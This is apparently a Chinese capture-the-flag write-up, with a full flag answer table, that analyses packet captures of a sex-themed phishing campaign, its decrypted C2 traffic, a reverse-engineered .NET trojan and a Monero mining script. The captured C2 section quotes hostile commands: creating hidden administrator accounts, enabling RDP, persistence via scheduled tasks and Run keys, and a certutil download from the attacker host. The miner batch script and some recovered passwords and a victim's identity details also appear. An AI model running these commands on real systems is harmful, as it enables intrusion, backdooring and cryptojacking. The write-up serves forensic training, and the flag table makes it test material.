色情钓鱼邮件流量分析 WriteUp
附件:攻击机.pcapng、服务器.pcapng、陈小明.pcapng(三台机器各自网卡上的抓包,同一个 192.168.39.0/24 网段)+ sslkeys.log(TLS 会话密钥,用来解密 C2 的 HTTPS 流量)。
工具:Wireshark 4.6(手工看图)、tshark(命令行批量提取)、Python 3(解码 base64/XOR)、记事本(看 bat)。
先给结论表,后面是每一步怎么操作、怎么验证。
答案速查
| 题目 | flag |
|---|---|
| 攻击者操作系统主机名 | flag{kali} |
| 攻击者 IP | flag{192.168.39.88} |
| 受害者配置的所有 IP(从小到大) | flag{192.168.39.92,192.168.39.144,192.168.39.150,192.168.39.152} |
| 邮件服务器 IP_域名 | flag{192.168.39.138_mail.jiujiu.com} |
| 邮件软件,SMTP端口,POP3端口 | flag{Postfix/Dovecot,25,110}(SMTP 是 Postfix,POP3 是 Dovecot;平台若只收单个名字就试 flag{Postfix,25,110}) |
| EHLO 声明的传输加密方式 | flag{STARTTLS} |
| 受害者计算机名 | flag{WIN-5CNHCFAIMP9} |
| DHCP 分配的默认网关 | flag{192.168.39.2} |
| 钓鱼邮箱 | flag{tiantian@jiujiu.com} |
| 受害者邮箱 | flag{chenxiaoming@jiujiu.com} |
| 受害者 POP3 密码 | flag{chenxiaoming123} |
| tiantian POP3 密码 | flag{Mail#Jiujiu2026} |
| 受害机 POP3 登录次数 | flag{20} |
| tiantian 发送邮件总数 | flag{18} |
| 最大邮件 SIZE(字节) | flag{9139617} |
| 带"上门服务.exe"附件的邮件主题 | flag{你的上门服务哦!} |
| 第一封钓鱼邮件主题 | flag{哥哥} |
| 社工邮件中 PNG 图片数 | flag{5} |
| 木马自我复制路径,伪装进程名 | flag{C:\ProgramData\Microsoft\Windows\WMI\WmiPrvSE.exe,WmiPrvSE.exe} |
| 上门服务.exe 的 SHA256 | flag{4a9ed2d751acaea3317077bd774c7044bd4e8379dceace0ca8f6e0dee7160656} |
| 样本开发框架 | flag{.NET Framework}(C# WinForms,CLR v4.0.30319) |
| PE 子系统类型 | flag{0x0002} |
| C2 通信 HTTP Content-Type | flag{application/x-www-form-urlencoded} |
| 忽略 TLS 证书校验的属性全名 | flag{ServicePointManager.ServerCertificateValidationCallback} |
| 心跳 Sleep 最短毫秒数 | flag{3000} |
| C2 回连端口 | flag{8443} |
| C2 备用端口 | flag{4443} |
| C2 TLS版本_密码套件 | flag{0x0303_0xc030} |
| C2 JA3 指纹 | flag{43016d7f7f9336b17c884650d0d2545d} |
| 心跳包 POST 路径 | flag{/s} |
| 心跳包机器标识 body | flag{id=WIN-5CNHCFAIMP9&s=1} |
| /h 上线初始信息 | flag{id=WIN-5CNHCFAIMP9,user=Administrator,os=Microsoft Windows NT 6.2.9200.0} |
| 结果回传 POST 路径 | flag{/r} |
| whoami 执行结果 | flag{win-5cnhcfaimp9\administrator} |
| /h 中 OS 完整标识 | flag{Microsoft Windows NT 6.2.9200.0} |
| 隐藏后门账户数量和用户名 | flag{2,yue,yue$} |
| yue 账户密码 | flag{Aa123456!@} |
| 隐藏账户的注册表(路径,键名,类型,数值) | flag{HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList,yue$,REG_DWORD,0}(yue 也以同样方式藏了,键名 yue) |
| 受害者手机号,身份证,住址 | flag{138-5710-2026,330106199508151231,浙江省杭州市西湖区文一西路888号星月交响小区5幢2单元801室} |
| 木马功能与命令字(a-z 排序) | flag{cam:摄像头拍照,exec:远程命令执行,get:文件下载,info:信息收集,kill:自毁退出,ps:进程列表,screen:屏幕截图} |
| 截图 API,图片格式,编码 | flag{BitBlt,JPEG,Base64} |
| BitBlt dwRop 常量 | flag{0x00CC0020} |
| WindowsUpdate.bat 计划任务名 | flag{WindowsRuntimePlatformUpdate} |
| 矿池地址:端口 | flag{xmr.cryptonight-hub.com:443} |
| 挖掘的加密货币 | flag{Monero}(门罗币 XMR) |
| 挖矿算法 | flag{RandomX} |
| 钱包地址 | flag{49XnPvDkmNQSPBGKEgTRpnHfv7PZiEMVzDGmNcLHn5FyLYuFmJRLBAwMbBF1fQRHGpzCwp9hHt6NsfrSPeXQqzqZRa1p2aZ} |
| 挖矿 pass 字段 | flag{RTPlatformSvc} |
| 挖矿安装目录(环境变量) | flag{%APPDATA%\Microsoft\Windows\RuntimePlatform} |
| 计划任务执行频率(每隔几小时) | flag{2} |
| 挖矿脚本隐藏自身的技术 | flag{attrib +h}(给目录和文件加隐藏属性) |
| C2 下载挖矿脚本用的内置命令及参数前缀 | flag{certutil -urlcache -split -f} |
| 投递 IP 与 C2 IP 是否同一 | 是,flag{192.168.39.88} |
| 受害主机发起 C2 的源 IP | flag{192.168.39.152} |
| 心跳包(POST /s)总数 | flag{689} |
| WIN-5CNHCFAIMP9 网卡数量 | flag{4} |
一、先搞清楚谁是谁(主机名 / IP / 网关)
三个包是同网段三台机器上的抓包,先把 IP 和角色对上。最快的方式是看 DHCP 和 NBNS。
命令行(在题目目录下开 cmd):
tshark -r 攻击机.pcapng -Y dhcp -T fields -e ip.src -e dhcp.option.hostname
输出里能看到:
192.168.39.88 kali
192.168.39.138 mail
192.168.39.144 WIN-5CNHCFAIMP9
192.168.39.150 WIN-5CNHCFAIMP9
192.168.39.152 WIN-5CNHCFAIMP9
192.168.39.92 WIN-5CNHCFAIMP9
角色直接清楚了:
- 192.168.39.88 = kali = 攻击机(主机名 kali)
- 192.168.39.138 = mail = 邮件服务器
- WIN-5CNHCFAIMP9 = 受害者(陈小明),一台机器 4 块网卡 4 个 IP:.92 / .144 / .150 / .152
手工验证(GUI):Wireshark 打开 攻击机.pcapng,过滤器输 dhcp,点开第一个包(192.168.39.88 发的 DHCP Request),展开 Dynamic Host Configuration Protocol → Option: (12) Host Name,值是 kali:

默认网关看 DHCP ACK 里的 Router 选项:
tshark -r 陈小明.pcapng -Y "dhcp.option.dhcp==5" -T fields -e ip.src -e dhcp.option.router
输出 192.168.39.254 192.168.39.2 ------ DHCP 服务器是 192.168.39.254(VMware 虚拟 DHCP),分配的网关是 192.168.39.2。
受害机 4 个 IP 后面还有更硬的证据:攻击者在 C2 里执行 systeminfo 的回显明确列出 4 块 Intel 82574L 网卡、4 个 IPv4 地址(见第五节),"网卡数量=4" 也是这么确认的。
二、SMTP 邮件流量(邮件服务器、双方邮箱、邮件内容)
2.1 服务器软件、域名、EHLO
攻击机发邮件走 25 端口。把第一个 SMTP 会话整个拉出来看:
tshark -r 攻击机.pcapng -q -z follow,tcp,ascii,4
(stream 号用 tshark -r 攻击机.pcapng -Y smtp -T fields -e tcp.stream 先查;GUI 做法是过滤器输 tcp.stream==4)
完整会话:
S: 220 mail.jiujiu.com ESMTP Postfix
C: EHLO [192.168.39.88]
S: 250-mail.jiujiu.com
250-PIPELINING
250-SIZE 52428800
250-VRFY
250-ETRN
250-STARTTLS ← 传输加密只声明了 STARTTLS
250-ENHANCEDSTATUSCODES
250-8BITMIME
250-DSN
250-SMTPUTF8
250 CHUNKING
C: MAIL FROM:<tiantian@jiujiu.com> BODY=8BITMIME SIZE=442
C: RCPT TO:<chenxiaoming@jiujiu.com>
C: DATA
Subject: =?UTF-8?B?5ZOl5ZOl?=
...

一次拿掉好几个答案:
-
邮件服务器:192.168.39.138,域名 mail.jiujiu.com ,SMTP 软件 Postfix(banner 自己报出来的)
-
EHLO 加密方式:STARTTLS
-
钓鱼邮箱:tiantian@jiujiu.com ,受害者邮箱:chenxiaoming@jiujiu.com
-
第一封邮件主题
=?UTF-8?B?5ZOl5ZOl?=,是 UTF-8 的 base64 编码,cmd 里一条命令解开(PowerShell 也行,或者用 burp 的 Decoder):python -c "import base64;print(base64.b64decode('5ZOl5ZOl').decode())"
→ 哥哥
2.2 邮件数量、最大体积
列出全部 MAIL FROM:
tshark -r 攻击机.pcapng -Y "smtp.req.command==\"MAIL\"" -T fields -e tcp.stream -e ip.src -e smtp.req.parameter

数一下:tiantian@jiujiu.com 发了 18 封 (对应 RCPT TO 全部是 chenxiaoming,可再 -Y "smtp.req.command==\"RCPT\"" 验证),受害者回了 12 封。SIZE 参数里最大的是 9139617(stream 81)。
2.3 每封邮件的主题和附件
把 tiantian 的 18 个会话批量 follow 出来存文件,然后搜 Subject 和附件名:
for %s in (4 9 15 17 18 25 35 46 49 54 63 70 76 81 82 88 303 374) do tshark -r 攻击机.pcapng -q -z follow,tcp,ascii,%s > mail\s%s.txt
(这是 cmd 的 for 语法;用 bash 就把 %s 换成 $s)
解码后的主题时间线(挑重点):
| 顺序 | stream | 主题 | 内容 |
|---|---|---|---|
| 1 | 4 | 哥哥 | 第一封钓鱼邮件,纯文字搭讪 |
| 4 | 17 | 哥哥 | 带 1.png |
| 8 | 25 | 你的小妹妹哦! | 带 2.png、3.png |
| 12 | 46 | 很纯情的哦! | 带 4.png、5.png |
| 17 | 81 | 你的上门服务哦! | 带恶意附件 上门服务.exe (filename*=UTF-8''%E4%B8%8A%E9%97%A8%E6%9C%8D%E5%8A%A1%2E%65%78%65,URL 解码就是"上门服务.exe") |
PNG 一共 1+2+2 = 5 张(1.png 到 5.png)。grep 一下就能数:
grep -h "image/png" mail\s*.txt | sort -u
2.4 提取"上门服务.exe"并算哈希
不用手写 base64 切割,Wireshark 可以直接导出邮件对象:
- GUI:文件 → 导出对象 → IMF,全选保存;
- 命令行:
tshark -r 攻击机.pcapng --export-objects "imf,exported"
导出的一堆 .eml 里,9139617 字节那封就是带木马的。用 Python 的 email 库把附件剥出来:
python
import email
msg = email.message_from_bytes(open('xxx.eml','rb').read())
for part in msg.walk():
if 'msdownload' in part.get_content_type():
open('上门服务.exe','wb').write(part.get_payload(decode=True))
算哈希(cmd 自带 certutil):
certutil -hashfile 上门服务.exe SHA256
→ 4a9ed2d751acaea3317077bd774c7044bd4e8379dceace0ca8f6e0dee7160656
文件 6668800 字节,PE 头正常(MZ)。
三、POP3:双方密码和登录次数
受害者收信、攻击者收回信都走 POP3(110 端口)。服务器 banner 是 +OK Dovecot ready.,CAPA 里声明支持 SASL PLAIN LOGIN------所以密码就在线上裸奔。
看 110 端口的短包(客户端发的命令):
tshark -r 陈小明.pcapng -Y "tcp.dstport==110 && tcp.len>0 && tcp.len<100" -T fields -e tcp.stream -e ip.src -e tcp.payload
payload 是十六进制,解开能看到每会话都是 AUTH PLAIN + 一行 base64:
- 受害者(.92/.144/.150/.152 四个 IP 都在收信):
AGNoZW54aWFvbWluZwBjaGVueGlhb21pbmcxMjM=→\0chenxiaoming\0chenxiaoming123→ 密码 chenxiaoming123 - 攻击者(192.168.39.88):
AHRpYW50aWFuAE1haWwjSml1aml1MjAyNg==→\0tiantian\0Mail#Jiujiu2026→ 密码 Mail#Jiujiu2026
登录次数按 AUTH PLAIN 出现次数数(一个会话登录一次)。受害者 4 个 IP 加起来:152 上 14 次 + 144 上 3 次 + 150 上 2 次 + 92 上 1 次 = 20 次(tiantian 自己登了 14 次收信,别混进去)。
四、解密 C2 流量(核心部分)
4.1 发现 C2
流量里受害者 192.168.39.152 反复连攻击机 192.168.39.88 的 8443 端口,全是 TLS。因为给了 sslkeys.log,直接挂密钥解密。
GUI:编辑 → 首选项 → Protocols → TLS → (Pre)-Master-Secret log filename,选 sslkeys.log,确定。
命令行验证(注意是 -o tls.keylog_file):
tshark -r 陈小明.pcapng -o tls.keylog_file:sslkeys.log -Y "http.request && tcp.port==8443" -T fields -e tcp.stream -e http.request.method -e http.request.uri
解密后全是 HTTP POST,URI 一共三种:
689 个 /s ← 心跳
60 个 /r ← 结果回传
4 个 /h ← 上线注册

请求头:Content-Type 固定 application/x-www-form-urlencoded,UA 伪装成 Mozilla/5.0。
心跳总数就是 689 (/s 的个数)。源 IP 全部是 192.168.39.152(受害机 Ethernet2 那块网卡)。
4.2 /h 上线包
过滤器输 http.request.uri == "/h",点开第一个包,展开 HTML Form URL Encoded:

id = WIN-5CNHCFAIMP9
user = Administrator
os = Microsoft Windows NT 6.2.9200.0
(os 字段是 .NET Environment.OSVersion 的输出,所以显示 NT 6.2.9200.0 这个"马甲"标识;真实系统是后面 systeminfo 里的 Windows Server 2025。题目问"/h 中包含的操作系统版本标识",就填 Microsoft Windows NT 6.2.9200.0。)
4.3 心跳 body
随便点个 POST /s 看表单:id=WIN-5CNHCFAIMP9&s=1,这就是心跳上报的机器标识。
4.4 心跳的响应里藏着命令
这个 C2 的模式是:木马 POST /s 心跳 → 服务器在 200 OK 的 body 里返回要执行的命令 → 木马执行完 POST /r 回传结果。服务器是个 Python 写的(响应头 Server: BaseHTTP/0.6 Python/3.13.11)。
把带内容的响应全拉出来:
tshark -r 陈小明.pcapng -o tls.keylog_file:sslkeys.log -Y "http.response && tcp.srcport==8443 && http.file_data" -T fields -e tcp.stream -e http.file_data
file_data 是 hex,解开按时间顺序就是这些命令(前缀 e 是 exec 命令字):
info
whoami
systeminfo (连刷了 4 次)
net user
e net user yue Aa123456!@ /add
e net localgroup administrators yue /add
e net user yue$ Aa123456!@ /add
e net localgroup administrators yue$ /add
e reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v yue$ /t REG_DWORD /d 0 /f
e reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v yue /t REG_DWORD /d 0 /f
e reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
e New-NetFirewallRule -Name "RDP" ... -LocalPort 3389 ... -Action Allow
e reg add ...RDP-Tcp" /v PortNumber /t REG_DWORD /d 3389 /f
e reg add ... /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
e netsh advfirewall firewall set rule group="远程桌面" new enable=yes
e sc config TermService start= auto
e net start TermService
e schtasks /create /tn "WindowsUpdate" /tr "C:\ProgramData\Microsoft\Windows\WMI\WmiPrvSE.exe" /sc daily /mo 1 /st 09:00 /f
e reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /t REG_SZ /d "C:\ProgramData\Microsoft\Windows\WMI\WmiPrvSE.exe" /f
e certutil -urlcache -split -f http://192.168.39.88:8888/WindowsUpdate.bat C:\Users\yue\Downloads\WindowsUpdate.bat
sc (截图,多次)
dir / tasklist / ipconfig /all / netstat -ano
e net user yue$ (确认账户建好了)

关键结论:
- whoami 的结果 :对应 /r 回传是 base64
d2luLTVjbmhjZmFpbXA5XGFkbWluaXN0cmF0b3INCg==→win-5cnhcfaimp9\administrator - 后门账户建了 2 个:
yue和yue$,密码都是 Aa123456!@,都拉进了 administrators 组 - 隐藏账户的注册表 :
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList,键名yue$(yue 也同样加了),类型 REG_DWORD,值 0------值 0 就是不显示在登录界面 - 下载挖矿脚本用的是 certutil -urlcache -split -f,从攻击机 8888 端口的 HTTP 服务拉的,落盘到 yue 的 Downloads
- systeminfo 回显(GBK 编码,/r 里的 exec= 字段)证实 4 块网卡、DHCP 服务器 192.168.39.254,真实系统是 Windows Server 2025 Datacenter (10.0.26100)
4.5 受害者隐私泄露
有一条 /r 回传的 info= 字段特别长,是木马把受害者自己填的信息发出去了。GBK 解码后:
WIN-5CNHCFAIMP9&girl=欣欣&phone=13857102026&idcard=330106199508151231
&addr=浙江省杭州市西湖区文一西路 888 号星月交响小区 5 幢 2 单元 801 室
&svc=快餐一次 - 888元
即:手机号 13857102026(按题目格式写成 138-5710-2026)、身份证 330106199508151231、住址浙江省杭州市西湖区文一西路888号星月交响小区5幢2单元801室。这就是木马界面上那个假的"上门服务下单"表单钓到的数据(girl/svc 字段是他选的服务内容)。
4.6 TLS 指纹
握手不用解密就能看。过滤 tls.handshake.type==1 && tcp.dstport==8443:
- Client Hello 版本 0x0303(TLS 1.2),Server 选定的套件 0xc030(TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384)
- JA3:
tshark ... -T fields -e tls.handshake.ja3→ 43016d7f7f9336b17c884650d0d2545d(753 个连接全是同一个指纹)
五、挖矿脚本 WindowsUpdate.bat
攻击机 8888 端口是个文件服务器,bat 直接导出:文件 → 导出对象 → HTTP,或者:
tshark -r 陈小明.pcapng --export-objects "http,httpobj"
WindowsUpdate.bat 完整内容(GBK 编码,记事本直接打开就行):

bat
set "a=WindowsRuntimePlatformUpdate"
set "b=xmr.cryptonight-hub.com"
set "d=%APPDATA%\Microsoft\Windows\RuntimePlatform"
set "f=%d%\config.json"
set "e=%d%\svchost.bat"
...
attrib +h "%d%"
copy /y "%~f0" "%e%"
attrib +h "%e%"
(echo {... "randomx":{"mode":"auto",...},"pools":[{"algo":null,"coin":"monero",
"url":"%b%:443","user":"49XnPvDkmNQSPBGKEgTRpnHfv7PZiEMVzDGmNcLHn5FyLYuFmJRLBAwMbBF1fQRHGpzCwp9hHt6NsfrSPeXQqzqZRa1p2aZ",
"pass":"RTPlatformSvc","tls":true,...}]})>"%f%"
attrib +h "%f%"
schtasks /create /tn "%a%" /tr "cmd /c %e%" /sc hourly /mo 2 /st 02:00 /f /ru SYSTEM /rl HIGHEST
逐项对答案:
- 计划任务名:WindowsRuntimePlatformUpdate
- 矿池:xmr.cryptonight-hub.com:443
- 币种:monero(门罗币)
- 算法:RandomX (config 里
randomx配置块 + 这是 XMRig 的配置格式) - 钱包:49XnPvDkmNQSPBGKEgTRpnHfv7PZiEMVzDGmNcLHn5FyLYuFmJRLBAwMbBF1fQRHGpzCwp9hHt6NsfrSPeXQqzqZRa1p2aZ
- pass:RTPlatformSvc
- 安装目录:%APPDATA%\Microsoft\Windows\RuntimePlatform(自身复制成 svchost.bat + config.json)
- 频率:
/sc hourly /mo 2= 每 2 小时,凌晨 2 点开始 - 隐藏手法:attrib +h(目录、bat、config 全加隐藏属性)
- 跑完
del /f /q "%~f0"自删原始 bat
六、木马逆向(上门服务.exe)
先说工具:这文件带 CLR 头,是 .NET 托管程序 。老版本 IDA 拖进去只能看到 mscoree 的跳板壳,但 IDA Pro 9.4 自带 Microsoft.Net assembly 加载器 ------打开文件时加载对话框第一项就是它,直接 OK,IDA 会把 IL 反汇编出来,函数列表里方法名一目了然(G_X、Core_StartBeacon、Core_DoCmd、Core_CapScr、Core_Persist......)。Hex-Rays 伪代码对 IL 不可用,看图视图的 IL 就够了;当然也可以顺手用 dnSpy / ILSpy 反编译出 C# 对照(无混淆)。
PE 子系统字段在 Optional Header 偏移 0x5C 处,值 0x0002(Windows GUI) ------IDA 加载对话框或任意 PE 工具(CFF Explorer、Die)都能看。元数据版本串 v4.0.30319,即 .NET Framework 4.x,WinForms 程序 (内部名 _new.exe,引用了 System.Windows.Forms)。
结构很清楚,三个类:MainForm(假下单界面)、Core(C2 逻辑)、G(工具方法)。在 IDA 里点开类 G 的定义,静态字段 _c2 / _flag / _path / _tmp / _port / _port2 排成一排,每个字段后面跟着交叉引用(谁写的、谁读的),攻击配置等于直接摊在桌上:

6.1 字符串解密
所有敏感字符串都是 base64 形态存在静态字段里,但直接 base64 解出来是乱码------后面还过了一次 XOR。看 IDA 里 G::X 的图视图:入口处 Convert.FromBase64String,紧跟着 ldc.i4.s 0x5A 把密钥压栈:

往下翻是循环体 ldelema / ldobj / ldloc.1(0x5A) / xor / conv.u1 / stobj,出循环后 Encoding.get_UTF8().GetString() 返回。典型的 base64 + 单字节 XOR 0x5A:

翻译成人话就是:
csharp
// G::X 的伪代码
byte[] b = Convert.FromBase64String(s);
for (int i = 0; i < b.Length; i++) b[i] ^= 0x5A;
return Encoding.UTF8.GetString(b);
用 python 复现解 4 个关键字段(字段值在 G::.cctor 里用 ldstr 逐个赋值,对着抄下来即可):
python
import base64
def X(s): return bytes(c^0x5A for c in base64.b64decode(s)).decode()
X("a2NodGtsYnRpY3RiYg==") # → 192.168.39.88 C2 地址
X("PDY7PSFub20ZH2huGBhq...") # → flag{457CE24BB0A11573E62AFF22E58BC51A} (作者埋的彩蛋 flag)
X("FzM5KDUpNTwuBg0zND41LSkGD...")# → Microsoft\Windows\WMI\WmiPrvSE.exe 落地相对路径
X("DTM0DigvKQ50Ljcq") # → WinTrusT.tmp 临时文件名
静态构造(G::.cctor)里还有两个明文端口常量,ldc.i4 0x20FB 和 ldc.i4 0x115B,即 _port = 8443,_port2 = 4443(备用)。
6.2 持久化(自我复制)
Persist():Environment.GetFolderPath(CommonApplicationData)(即 C:\ProgramData)拼上上面解出来的相对路径,把自己复制为 C:\ProgramData\Microsoft\Windows\WMI\WmiPrvSE.exe ,伪装成系统进程 WmiPrvSE.exe (WMI Provider Host),同时把文件时间戳随机拨动做时间伪装,File.SetAttributes 设为隐藏+系统。持久化一连铺了三条(Core::Persist 里三个 G::ExecHidden("schtasks.exe", ...) 看得清清楚楚):
- 注册表
HKLM\Software\Microsoft\Windows\CurrentVersion\Run,值名WmiPrvSE schtasks /create /tn WmiPrvSE ... /sc hourly /mo 1 /f(每小时)schtasks /create /tn "WmiPrvSE L" ... /sc onlogon /f(登录时)schtasks /create /tn "WmiPrvSE S" ... /sc onstart /f(开机时)
这和前面 C2 里攻击者手动建的 WindowsUpdate 计划任务、SecurityHealth Run 键指向的路径完全一致,互相印证。
6.3 C2 通信细节
Wc() 构造 WebClient:编码 GBK,User-Agent: Mozilla/5.0,Content-Type: application/x-www-form-urlencoded。
忽略证书校验是标准的 .NET 写法(StartBeacon 里的 lambda 永远 return true):
csharp
ServicePointManager.ServerCertificateValidationCallback = (s, c, ch, e) => true;
即属性全名 ServicePointManager.ServerCertificateValidationCallback。
心跳循环(<StartBeacon>b__2):先 POST /h 上线(失败换备用端口 4443 试 5 次,异常时 Sleep 10000/15000),然后进入主循环:
csharp
Thread.Sleep(random.Next(3000, 7000)); // 默认心跳 3~7 秒,最短 3000ms
Post(url_s, "id=" + MachineName + "&s=1");
6.4 命令字表(DoCmd 里的 switch)
| 命令字 | 别名 | 功能 |
|---|---|---|
| i | info | 收集主机名+钓到的 girl/phone/idcard/addr/svc,POST info= 回传 |
| p | ps | tasklist 进程列表 |
| sc | screen | CapScr 屏幕截图 |
| c | cam | CapCam 摄像头拍照 |
| k | kill | CleanPersist 清持久化 + 退出(自毁) |
| e | exec | ExecRead 执行任意命令(cmd /c,15 秒超时) |
| g | get | 读文件 base64 后以 file= 回传(文件下载) |
题目要求归一化 + a-z 排序:cam, exec, get, info, kill, ps, screen。
6.5 截图实现
CapScr():GetDC(0) 拿屏幕 DC → CreateCompatibleDC/CreateCompatibleBitmap → BitBlt 拷屏,第四个参数 dwRop = 13369376 = 0x00CC0020(SRCCOPY) → Bitmap.Save 用 ImageFormat.Jpeg 存内存流 → Convert.ToBase64String 编码后 screen= 回传。所以是:API 用 BitBlt,图片 JPEG 格式,传 C2 前 Base64 编码。

七、几个关联判断
- 投递 IP 和 C2 IP 是不是同一个 :发邮件的是 192.168.39.88,木马连的 C2 也是 192.168.39.88(二进制里 XOR 解出来的也是它),8888 端口还挂着挖矿脚本下载。是同一台,
flag{192.168.39.88}。 - C2 源 IP :所有 8443 连接都来自 192.168.39.152(受害机 Ethernet2)。
- 心跳数 :
http.request.uri=="/s"计数 = 689。 - 网卡数 :systeminfo 回显 "安装了 4 个 NIC" → 4。
附:常用命令备忘(方便复现)
:: 看协议分布
tshark -r 攻击机.pcapng -q -z io,phs
:: 邮件会话列表与导出
tshark -r 攻击机.pcapng -Y "smtp.req.command==\"MAIL\"" -T fields -e tcp.stream -e ip.src -e smtp.req.parameter
tshark -r 攻击机.pcapng --export-objects "imf,exported"
tshark -r 攻击机.pcapng -q -z follow,tcp,ascii,4
:: POP3 凭证
tshark -r 陈小明.pcapng -Y "tcp.dstport==110 && tcp.len>0 && tcp.len<100" -T fields -e tcp.stream -e ip.src -e tcp.payload
:: C2 解密统计
tshark -r 陈小明.pcapng -o tls.keylog_file:sslkeys.log -Y "http.request && tcp.port==8443" -T fields -e http.request.uri
tshark -r 陈小明.pcapng -o tls.keylog_file:sslkeys.log -Y "http.response && tcp.srcport==8443 && http.file_data" -T fields -e tcp.stream -e http.file_data
:: JA3 / 套件
tshark -r 陈小明.pcapng -Y "tls.handshake.type==1 && tcp.dstport==8443" -T fields -e tls.handshake.ja3
tshark -r 陈小明.pcapng -Y "tls.handshake.type==2 && tcp.srcport==8443" -T fields -e tls.handshake.ciphersuite
:: 哈希
certutil -hashfile 上门服务.exe SHA256